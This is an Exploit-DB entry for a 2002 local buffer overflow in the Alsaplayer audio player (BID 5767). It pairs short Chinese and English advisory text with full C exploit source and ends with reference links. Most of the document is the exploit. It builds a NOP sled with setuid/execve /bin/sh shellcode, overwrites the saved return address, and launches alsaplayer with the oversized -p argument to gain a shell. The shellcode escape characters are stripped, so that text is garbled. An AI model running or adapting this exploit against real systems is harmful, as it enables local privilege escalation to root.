https://www.exploit-db.com/exploits/21814
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-841

Alsaplayer是一款利用ALSA库和驱动的PCM播放器，可使用在Linux和Unix操作系统下。Alsaplayer在处理”add-onpath”选项时存在问题，本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。Alsaplayer在处理超长”add-onpath”选项数据时缺少正确的边界缓冲区检查，本地攻击者利用这个漏洞可以破坏Alsaplayer堆栈内容，造成Alsaplayer崩溃，Alsaplayer默认不以setuid属性安装，但根据作者建议，要增加部分功能必须增加S位。

source: http://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality. 

/*
 * Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
 *
 * This program is not installed with special permissions by default.
 * However, the author himself does recommend to do so under certain
 * conditions:
 *
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
 * http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
 *
 * Author: zillion[at]safemode.org (09/2002)
 *
 * Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
 *
 */

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"xebx26x5ex31xc0x89xc3x89xc1x89xc2xb0xa4xcdx80"
"x31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xd5xffxffxff"
"x2fx62x69x6ex2fx73x68";

void print_error(char * burb) {
  printf(" Error: %s !n",burb); exit(0);
}

void usage(char *progname) {
  printf("n*--- -- -  Alsaplayer b0f exploit - -- ---*n");
  printf("nDefault: %s  -f /path/to/alsaplayer",progname);
  printf("nOption : %s  -o <offset>nn",progname);
  exit(0);
}

int main(int argc, char **argv){

  char buffer[BUFFER_SIZE];
  char file[30];
  long retaddress;
  int arg,offset=500;

  struct stat sbuf;

  if(argc < 2) { usage(argv[0]); }

  while ((arg = getopt (argc, argv, "f:o:")) != -1){
    switch (arg){
    case 'f':
      strncpy(file,optarg,sizeof(file));
      if(stat(argv[2], &sbuf)) { print_error("No such file");}
      break;
    case 'o':
      offset = atoi(optarg);
      if(offset < 0) { print_error("Offset must be positive");}
      break;
    default :
      usage(argv[0]);
    }
  }

  retaddress = (RET - offset);
  memset(buffer,NOP,BUFFER_SIZE);
  memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

  /* Overwrite EBP and EIP */
  *(long *)&buffer[BUFFER_SIZE - 8]  = retaddress;
  *(long *)&buffer[BUFFER_SIZE - 4]  = retaddress;

  if(execl(file,file,"-p",buffer,NULL) != 0) {
    print_error("Could not execute alsaplayer ");
  }

  return 0;

}

来源:BID
名称:5767
链接:http://www.securityfocus.com/bid/5767
来源:XF
名称:alsaplayer-command-line-bo(10157)
链接:http://www.iss.net/security_center/static/10157.php
来源:FULLDISC
名称:20020920Alsasoundlocalb0f(notanissueifnotsetuidroot)
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2002-September/001730.html
来源:cvs.sourceforge.net
链接:http://cvs.sourceforge.net/viewcvs.py/alsaplayer/alsaplayer/app/Main.cpp.diff?r1=1.66&r2;=1.67
来源:alsaplayer.org
链接:http://alsaplayer.org/changelog.php3
来源：NSFOCUS
名称：3573
链接：http://www.nsfocus.net/vulndb/3573